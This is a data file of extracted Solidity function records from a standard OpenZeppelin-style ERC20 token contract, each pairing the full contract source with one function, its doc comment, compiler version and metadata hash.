`amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
totalSupply
function totalSupply() public view virtual override returns (uint256) { return _totalSupply; }
/** * @dev See {IERC20-totalSupply}. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
None
ipfs://0c2742d4e7048c7870e37f0bf9830fb6160a93e9e7491c8c62030cde064e4564
{ "func_code_index": [ 1891, 2004 ] }
14,151
Token
ERC20.sol
0xa328b83cb84e1979179723ed5f17158a7cbe63a3
Solidity
ERC20
contract ERC20 is IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
balanceOf
function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; }
/** * @dev See {IERC20-balanceOf}. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
None
ipfs://0c2742d4e7048c7870e37f0bf9830fb6160a93e9e7491c8c62030cde064e4564
{ "func_code_index": [ 2062, 2194 ] }
14,152
Token
ERC20.sol
0xa328b83cb84e1979179723ed5f17158a7cbe63a3
Solidity
ERC20
contract ERC20 is IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; }
/** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
None
ipfs://0c2742d4e7048c7870e37f0bf9830fb6160a93e9e7491c8c62030cde064e4564
{ "func_code_index": [ 2402, 2580 ] }
14,153
Token
ERC20.sol
0xa328b83cb84e1979179723ed5f17158a7cbe63a3
Solidity
ERC20
contract ERC20 is IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
allowance
function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; }
/** * @dev See {IERC20-allowance}. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
None
ipfs://0c2742d4e7048c7870e37f0bf9830fb6160a93e9e7491c8c62030cde064e4564
{ "func_code_index": [ 2638, 2794 ] }
14,154
Token
ERC20.sol
0xa328b83cb84e1979179723ed5f17158a7cbe63a3
Solidity
ERC20
contract ERC20 is IERC20, IERC20Metadata { mapping (address => uint256) internal _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][msg.sender]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, msg.sender, currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[msg.sender][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(msg.sender, spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; }
/** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.8.4+commit.c7e474f2
None
ipfs://0c2742d4e7048c7870e37f0bf9830fb6160a93e9e7491c8c62030cde064e4564
{ "func_code_index": [ 2936, 3108 ] }
14,155
Token
ERC20.sol
0xa328b83cb84e1979179723ed5f17158a7cbe63a3
Solidity
ERC20
